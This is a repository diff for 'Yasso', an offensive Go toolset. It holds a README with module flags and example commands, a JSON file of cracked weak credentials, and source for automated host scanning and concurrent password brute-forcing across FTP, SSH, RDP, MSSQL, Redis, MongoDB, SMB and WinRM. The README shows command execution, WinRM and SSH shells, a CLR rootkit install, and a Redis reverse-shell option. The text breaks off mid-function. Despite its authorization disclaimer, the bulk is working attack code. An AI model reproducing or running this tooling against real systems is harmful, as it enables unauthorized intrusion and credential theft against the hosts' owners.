--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>postgres PostgreSQL Service blowup module - No support for SOcks5 proxy</summary>
```
Flags:
-h, --help help for postgres
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>Redis Redis service blowup module, unauthorized detection, one-click utilization (write public key, bounce shell) - support socks5 proxy</summary>
```
Flags:
-h, --help help for redis
--hostname string Redis will connect this address
--pass string set login pass
--rebound string Rebound shell address (eg.) 192.168.1.1:4444
--rekey string Write public key to Redis (eg.) id_rsa.pub
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>smb SMB Service blowup module - Does not support SOcks5 proxy</summary>
```
Flags:
-h, --help help for smb
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>ssh SSH service burst module, fully interactive shell connection - support socks5 proxy
</summary>
```
Flags:
-h, --help help for ssh
--hostname string Open an interactive SSH at that address(brute param need false)
--key string ssh public key path
--pass string Login ssh password
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>winrm Winrm service blowup module, command execution horizontal - support socks5 proxy
</summary>
```
Flags:
-c, --cmd string Execute system command
-h, --help help for winrm
--hostname string Open an interactive SSH at that address(brute param need false)
--pass string Login ssh password
--shell Get a cmd shell with WinRM
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<b>ps module: using ANTS coroutine for port scanning, faster and more accurate - does not support SOcks5 proxy
</b>
```
Usage:
Yasso ps [flags]
Flags:
-h, --help help for ps
-H, --hosts hosts Set hosts(The format is similar to Nmap)
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
-r, --runtime int Set scanner ants pool thread (default 100)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms)
```
<b>vulscan module: Host vulnerability scan - support MS17010, SMbGhost - support socks5 proxy</b>
```
Usage:
Yasso vulscan [flags]
Flags:
--all scan all vuln contains ms17010,smbghost
--gs scan smbghost
-h, --help help for vulscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ms scan ms17010
--proxy string Set socks5 proxy
```
<b>WebScan module: full dismap porting, with more powerful fingerprint recognition - support socks5 proxy</b>
```
Usage:
Yasso webscan [flags]
Flags:
-h, --help help for webscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ping Use ping to scan alive host
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
--proxy string Set socks5 proxy and use it
-r, --runtime int Set scanner ants pool thread (default 508)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
```
<b>winscan module: Windows host netBIOS recognition, OXID network card discovery, SMB host fingerprint - support SOcks5
proxy</b>
```
netbios、smb、oxid scan
Usage:
Yasso winscan [flags]
Flags:
--all Set all flag and use oxid,netbios,smb scan (default true)
-h, --help help for winscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--netbios Set netbios flag and use netbios scan
--oxid Set oxid flag and use oxid scan
--proxy string Set socks5 proxy and use it
--smb Set smb flag and use smb scan
--time duration Set net conn timeout (default 1s)
```
## Example👿
Scan service invocation for the ALL module
```
Yasso. Exe all - 192.168.248.1/24 H
```
![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png)
MSSQL commands perform powerlifting and WarSQLKit -CLR Rookit install and uninstall the powerlifting function
```
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1
Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "sp_getSqlHash"
Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "whoami"
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
```
![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png)
Winrm command execution and interactive shell
```
Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
```
![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png)
```
Yasso. Exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
```
![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png)
grdp's powerful blasting function
```
Yasso. Exe crack GRDP --domain "kilon.local" -- pd.\ pass. TXT -- ud.\ user. TXT -h 192.168.248.129/24 --crack
```
![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png)
ssh interactive login
```
Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali
```
![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)
## Tool advantages 🤡
- Simple command, simple module function invocation, easy to expand and add a variety of new functions
- A large collection of commonly used features, making Yasso not like a regular scanner, but rather a toolset
- Powerful SQL penetration assist functions, providing common Redis, mysql, MSSQL databases such as one key weight and
database operations
- Powerful concurrent blasting, allowing larger dictionaries to gain faster speed
- The strong addition of RDP and WinRM makes the horizontal network faster and more convenient
## Disclaimer 🧐
This tool is only applicable to enterprise security construction activities legally authorized by. If you need to test
the usability of this tool, please build a target machine environment by yourself.
When using this tool for testing, ensure that you comply with local laws and regulations and that you have obtained
sufficient authorization. <b>It is important not to scan unauthorized targets</b>
If you have any illegal behavior during the use of the tool, you shall bear the corresponding consequences by yourself,
and we will not assume any legal and joint liability. Before installing and using this tool, please <b>carefully read
and fully understand the contents of each clause </b>. Restrictions, disclaimers or other clauses related to your
significant rights and interests may be highlighted in bold or underlined forms. Do not install and use this tool unless
you have fully read, fully understand and accept all terms of this agreement. Your use of this Agreement or your
acceptance of this Agreement in any other way, express or implied, shall be deemed that you have read and agreed to be
bound by this Agreement.
## Tool writing reference link 👀
```
https://github.com/shadow1ng/fscan
https://github.com/k8gege/LadonGo
https://github.com/zyylhn/zscan
https://github.com/uknowsec/SharpSQLTools
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
https://github.com/masterzen/winrm
https://github.com/tomatome/grdp
https://github.com/panjf2000/ants
```

BIN
Yasso.exe Normal file

Binary file not shown.

View File

@@ -1,51 +0,0 @@
[
{
"HostName": "192.168.248.219",
"Ports": [
21,
27017,
6379,
22,
11211,
5432
],
"WeakPass": [
{
"ftp": {
"kali": "kali"
}
},
{
"mongodb": {
"null": "null"
}
},
{
"mongodb": {
"admin": "123456"
}
},
{
"redis": {
"null": "null"
}
},
{
"ssh": {
"root": "kali"
}
},
{
"Memcached": {
"null": "null"
}
},
{
"postgres": {
"admin": "admin@123"
}
}
],
"Web": null
}
]

View File

@@ -1,167 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"sync"
"time"
)
var allCmd = &cobra.Command{
Use: "all",
Short: "Use all scanner module (.attention) Some service not support proxy,You might lose it [*]",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
allRun(Hosts, Ports, JsonBool, Runtime, PingBool)
return
},
}
func init() {
allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)")
allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host")
allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service")
allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host")
allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread")
allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
allCmd.Flags().BoolVar(&JsonBool, "json", false, "Output json file")
allCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set timeout ")
rootCmd.AddCommand(allCmd)
}
func allRun(hostString string, portString string, jsonbool bool, runtime int, noping bool) {
defer func() {
fmt.Println("[Yasso] scan task is completed")
}()
var (
ips []string
ports []int
webports []int
alive []string
wg sync.WaitGroup
lock sync.Mutex
)
if hostString != "" {
ips, _ = ResolveIPS(hostString) // 解析ip并获取ip列表
}
if Ports != "" {
ports, _ = ResolvePORTS(portString)
webports, _ = ResolvePORTS(config.DisMapPorts)
} else {
ports, _ = ResolvePORTS(DefaultPorts)
webports, _ = ResolvePORTS(config.DisMapPorts)
}
if noping == true {
// 不执行ping操作
alive = ips
} else {
// 执行 ping 操作
fmt.Println("----- [Yasso] Start do ping scan -----")
alive = execute(ips, RunICMP)
}
fmt.Println("[Yasso get alive host] is", len(alive))
// 做漏洞扫描
var out []JsonOut
//TODO:
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do vuln scan -----")
VulScan(alive, false, true, false) // 做漏洞扫描
var PortResults []PortResult
if len(alive) != 0 {
fmt.Println("----- [Yasso] Start do port scan -----")
PortResults = PortScan(alive, ports)
}
if len(PortResults) != 0 && NoCrack == false {
fmt.Println("----- [Yasso] Start do crack service -----")
for _, v := range PortResults {
var one JsonOut
// 对json各式数据复制
wg.Add(1)
go func(v PortResult, one JsonOut) {
defer wg.Done()
one.Host = v.IP
one.Ports = v.Port
for _, p := range v.Port {
lock.Lock()
switch p {
case 21:
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
// add ftp "" pass
flag, _ := FtpConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "anonymous", "")
if flag == true {
if flag == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"ftp": {"anonymous": "null"}})
}
continue
}
burpTask(v.IP, "ftp", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 22:
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
burpTask(v.IP, "ssh", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 3306:
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
burpTask(v.IP, "mysql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 6379:
_, b, _ := RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"redis": {"null": "null"}})
}
users, pass := ReadTextToDic("redis", UserDic, PassDic)
burpTask(v.IP, "redis", users, pass, p, runtime, 5*time.Second, "", false, jsonbool, &one)
case 1433:
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
burpTask(v.IP, "mssql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 5432:
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
burpTask(v.IP, "postgres", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 27017:
b, _ := MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"mongodb": {"null": "null"}})
}
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
burpTask(v.IP, "mongodb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 445:
users, pass := ReadTextToDic("smb", UserDic, PassDic)
burpTask(v.IP, "smb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 5985:
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm与本地rdp认证相同
burpTask(v.IP, "winrm", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 11211:
//memcached 未授权
b, _ := MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"Memcached": {"null": "null"}})
}
case 2181:
//zookeeper 未授权
b, _ := ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"zookeeper": {"null": "null"}})
}
}
lock.Unlock()
}
out = append(out, one)
}(v, one)
}
wg.Wait()
}
// 做网卡扫描
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do Windows service scan -----")
winscan(alive, true)
}
fmt.Println("----- [Yasso] Start do web service scan -----")
out = DisMapScanJson(&out, webports)
}
if jsonbool == true {
Out("Yasso.json", out)
}
}

View File

@@ -1,310 +0,0 @@
package cmd
import (
"Yasso/config"
"bufio"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/projectdiscovery/cdncheck"
"github.com/spf13/cobra"
"log"
"math"
"net"
"os"
"reflect"
"strings"
"sync"
"time"
)
// 爆破模块
var BruteCmd = &cobra.Command{
Use: "crack",
Short: "crack module and extend tool",
Run: func(cmd *cobra.Command, args []string) {
cmd.DisableFlagsInUseLine = true
_ = cmd.Help()
},
}
func init() {
// 添加全局变量
BruteCmd.PersistentFlags().StringVarP(&Hosts, "hosts", "H", "", "to crack hosts address or ips.txt path (crack Must)")
BruteCmd.PersistentFlags().IntVar(&BrutePort, "port", 0, "to crack hosts port (if not set use default)")
BruteCmd.PersistentFlags().IntVar(&Runtime, "runtime", 100, "set crack thread number")
BruteCmd.PersistentFlags().BoolVarP(&BruteFlag, "crack", "", false, "make sure to use crack")
BruteCmd.PersistentFlags().DurationVar(&TimeDuration, "timeout", 1*time.Second, "crack module timeout(.eg) 1s (ns,ms,s,m,h)")
BruteCmd.PersistentFlags().StringVar(&PassDic, "pd", "", "pass dic path (.eg) pass.txt")
BruteCmd.PersistentFlags().StringVar(&UserDic, "ud", "", "user dic path (.eg) user.txt")
BruteCmd.PersistentFlags().StringVar(&ProxyHost, "proxy", "", "set socks5 proxy address")
BruteCmd.AddCommand(SshCmd)
BruteCmd.AddCommand(WinRMCmd)
BruteCmd.AddCommand(SmbCmd)
BruteCmd.AddCommand(Log4jCmd)
BruteCmd.AddCommand(RedisCmd)
BruteCmd.AddCommand(RdpCmd)
BruteCmd.AddCommand(MysqlCmd)
BruteCmd.AddCommand(MssqlCmd)
BruteCmd.AddCommand(FtpCmd)
BruteCmd.AddCommand(PostgreCmd)
BruteCmd.AddCommand(MongoCmd)
rootCmd.AddCommand(BruteCmd)
}
var BurpModule = map[string]interface{}{
"ssh": SshConnByUser,
"mysql": MySQLConn,
"mssql": MssqlConn,
"redis": RedisAuthConn,
"unredis": RedisUnAuthConn, // redis 未授权
"postgres": PostgreConn,
"smb": SmbConn,
"ftp": FtpConn,
"rdp": RdpConn,
"winrm": WinRMAuth,
"mongodb": MongoAuth,
"unmongodb": MongoUnAuth, // mongodb 未授权
}
func BurpCall(EncryptMap map[string]interface{}, name string, params ...interface{}) []reflect.Value {
f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值
if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值
log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed", name))
os.Exit(1)
}
args := make([]reflect.Value, len(params))
for k, param := range params {
if param == "" || param == 0 {
continue
}
//Println()(param)
args[k] = reflect.ValueOf(param)
}
//Println()(args)
//fmt.Println(args)
return f.Call(args) // 调用函数并返回结果
}
func SwitchBurp(service string, users []string, pass []string, hosts []string, port int, thread int, timeout time.Duration, Domain string) {
// 传入的参数均为3个
// 调用方式
var tunnel = make(chan string, 20)
var wg sync.WaitGroup
go func() {
for _, ip := range hosts {
tunnel <- ip
}
}()
for i := 0; i < len(hosts); i++ {
wg.Add(1)
_ = ants.Submit(func() {
ip := <-tunnel
burpTask(ip, service, users, pass, port, thread, timeout, Domain, true, false, nil)
wg.Done()
})
}
wg.Wait()
Println(fmt.Sprintf("[*] brute %s done", service))
//Println()(service,users,pass,hosts,port,thread,BurpModule)
}
/***
* 从新计算爆破方式之前的爆破是采用分割user进行的但是发现user数量会远少于password所以按照password进行分割
*/
func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool, jsonbool bool, out *JsonOut) {
var t int
var wg sync.WaitGroup
if len(pass) <= thread {
t = len(pass)
} else {
// 计算user数量
t = thread // 协程数量
}
num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量
// 分割用户名
all := map[int][]string{}
for i := 1; i <= t; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(pass) {
all[i] = append(all[i], pass[tmp])
}
}
}
if service == "redis" && run == true {
BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
}
if service == "mongodb" && run == true {
BurpCall(BurpModule, "unmongodb", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
}
//Println()(all,num,t)
for i := 1; i <= t; i++ {
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
for _, p := range tmp {
for _, u := range users {
if strings.Contains(p, "{user}") {
p = strings.ReplaceAll(p, "{user}", p)
}
if u == "" || p == "" {
continue
} else {
result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p)
burpStatus(result, service, host, Domain, u, p, jsonbool, out)
}
}
}
wg.Done()
})
}
wg.Wait()
}
func burpStatus(result []reflect.Value, service, host, domain, user, pass string, jsonbool bool, out *JsonOut) {
var lock sync.Mutex
// 这里是判断类型并返回结果的函数
if len(result) > 0 {
for _, v := range result {
switch v.Kind() {
case reflect.Bool:
if v.Bool() == true {
if domain != "" {
domain = domain + "\\"
}
if jsonbool == true {
// 加锁
lock.Lock()
out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}})
lock.Unlock()
}
Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
}
}
}
}
}
func Readiness(file *os.File) []string {
var readiness []string /*定义一个空切片用于存储遍历后的数据*/
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
readiness = append(readiness, text)
}
}
readiness = SplitUrlToIpList(readiness, 100)
return readiness
}
func ReadTextToDic(service, user, pass string) ([]string, []string) {
var (
userdic = config.Userdict[service]
passdic = config.Passwords
)
// 如果不包含.txt的话按照用户名和密码来算。其中
if user != "" && !strings.Contains(user, ".txt") {
userdic = strings.Split(user, ",")
}
if pass != "" && !strings.Contains(pass, ".txt") {
passdic = strings.Split(pass, ",")
}
if user != "" && strings.Contains(user, ".txt") {
userive, err := os.Open(user)
if err != nil {
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic))
return []string{}, []string{}
}
userdic = Readiness(userive)
}
if pass != "" && strings.Contains(pass, ".txt") {
passive, err := os.Open(pass)
if err != nil {
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic))
return []string{}, []string{}
}
passdic = Readiness(passive)
}
return userdic, passdic
}
func SplitUrlToIpList(list []string, thread int) []string {
cdnClient, err := cdncheck.NewWithCache()
if err != nil {
Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err))
}
checkChan := make(chan string, 100)
var wg sync.WaitGroup
var re []string
for i := 0; i < thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for host := range checkChan {
ip, err := net.LookupHost(host)
if err != nil {
continue
}
if ip != nil {
for _, i := range ip {
re = append(re, i)
Println(fmt.Sprintf("[*] %v:%v", host, ip))
}
}
}
}()
}
// 判断前缀,将其添加到需要解析的列表当中
for _, domain := range list {
if strings.Contains(domain, "http://") {
domain = strings.TrimPrefix(domain, "http://")
}
if strings.Contains(domain, "https://") {
domain = strings.TrimPrefix(domain, "https://")
}
checkChan <- domain
}
close(checkChan)
wg.Wait()
re = remove(re) // 移除重复结果
// 移除cdn结果
var resp []string
for _, ip := range re {
success := cdnFilter(ip, cdnClient)
if success != "" && !strings.Contains(ip, ":") {
resp = append(resp, success)
} else {
Println(fmt.Sprintf("[*] %s has cdn", ip))
}
}
return resp
}
// cdn 过滤器
func cdnFilter(ip string, client *cdncheck.Client) string {
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
return ""
}
return ip
}
// remove 移除重复结果
func remove(slc []string) []string {
var result []string
tempMap := map[string]byte{} // 存放不重复主键
for _, e := range slc {
l := len(tempMap)
tempMap[e] = 0
if len(tempMap) != l { // 加入map后map长度变化则元素不重复
result = append(result, e)
}
}
return result
}

17
cmd/cmd.go Normal file
View File

@@ -0,0 +1,17 @@
package cmd
import (
"Yasso/core/flag"
"Yasso/core/logger"
"os"
)
func Execute() {
file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
if err != nil {
logger.Fatal("open logger file has an error", err.Error())
return
}
defer file.Close()
flag.Execute()
}

View File

@@ -1,61 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/spf13/cobra"
"time"
)
var FtpCmd = &cobra.Command{
Use: "ftp",
Short: "ftp burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteFtpByUser()
}
},
}
func BruteFtpByUser() {
if BrutePort == 0 {
BrutePort = 21
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
Println("[*] Brute Module [ftp]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func FtpConn(info config.HostIn, user, pass string) (bool, error) {
var flag = false
c, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), time.Duration(info.TimeOut))
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Host, info.Port), ftp.DialWithNetConn(c))
if err == nil {
err = conn.Login(user, pass)
if err == nil {
if pass == "" {
Println(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
}
flag = true
}
}
return flag, err
}

View File

@@ -1,166 +0,0 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"sync"
"time"
)
var (
BruteDomain string
)
var RdpCmd = &cobra.Command{
Use: "grdp",
Short: "RDP burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteRdpByUser()
}
},
}
func init() {
RdpCmd.Flags().StringVar(&BruteDomain, "domain", "", "set host domain")
}
func BruteRdpByUser() {
if BrutePort == 0 {
BrutePort = 3389
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("rdp", UserDic, PassDic)
Println("[*] Brute Module [rdp]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain)
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改
func RdpConn(info config.HostIn, user, password string) (bool, error) {
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
g := NewClient(target, glog.NONE)
err := g.Login(info.Domain, user, password)
//var err
if err == nil {
return true, nil
}
//return true, err
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string) error {
// 这里做一下修改将dial.Timeout换成GetConn的代理连接
conn, err := GetConn(g.Host, 5*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

View File

@@ -1,30 +0,0 @@
package cmd
import (
"encoding/json"
"fmt"
"os"
)
// 输出json格式数据
type JsonOut struct {
Host string `json:"HostName"`
Ports []int `json:"Ports"`
WeakPass []map[string]map[string]string `json:"WeakPass"`
WebHosts []string `json:"Web"`
}
func Out(filename string, js []JsonOut) {
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0666)
if err != nil {
Println(fmt.Sprintf("[!] create json file failed %v", err))
return
}
b, err := json.Marshal(&js)
if err != nil {
Println(fmt.Sprintf("[!] json marshal is failed %v", err))
return
}
_, _ = file.Write(b)
}

View File

@@ -1,109 +0,0 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"os/signal"
"strings"
"syscall"
)
/*
log4j扫描程序服务器,用来查看是否有漏洞
*/
var (
log4listenAddr string
)
var Log4jCmd = &cobra.Command{
Use: "log4j",
Short: "Open a socket listener to test log4J vulnerabilities offline",
Run: func(cmd *cobra.Command, args []string) {
if log4listenAddr == "" {
_ = cmd.Help()
}
t := strings.Split(log4listenAddr, ":")
if len(t) == 2 {
Println("Press ctrl+c to shutdown")
go Log4jCheckServer(t[0], t[1])
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
<-c
Println("ctrl+c detected. Shutting down")
}
},
}
func init() {
Log4jCmd.Flags().StringVarP(&log4listenAddr, "bind", "b", "0.0.0.0:4568", "socket listen address")
}
func Log4j2HandleRequest(conn net.Conn) {
defer conn.Close()
buf := make([]byte, 1024)
num, err := conn.Read(buf)
if err != nil {
Println(fmt.Sprintf("accept data reading err %v", err))
_ = conn.Close()
return
}
hexStr := fmt.Sprintf("%x", buf[:num])
// LDAP 协议
if "300c020101600702010304008000" == hexStr {
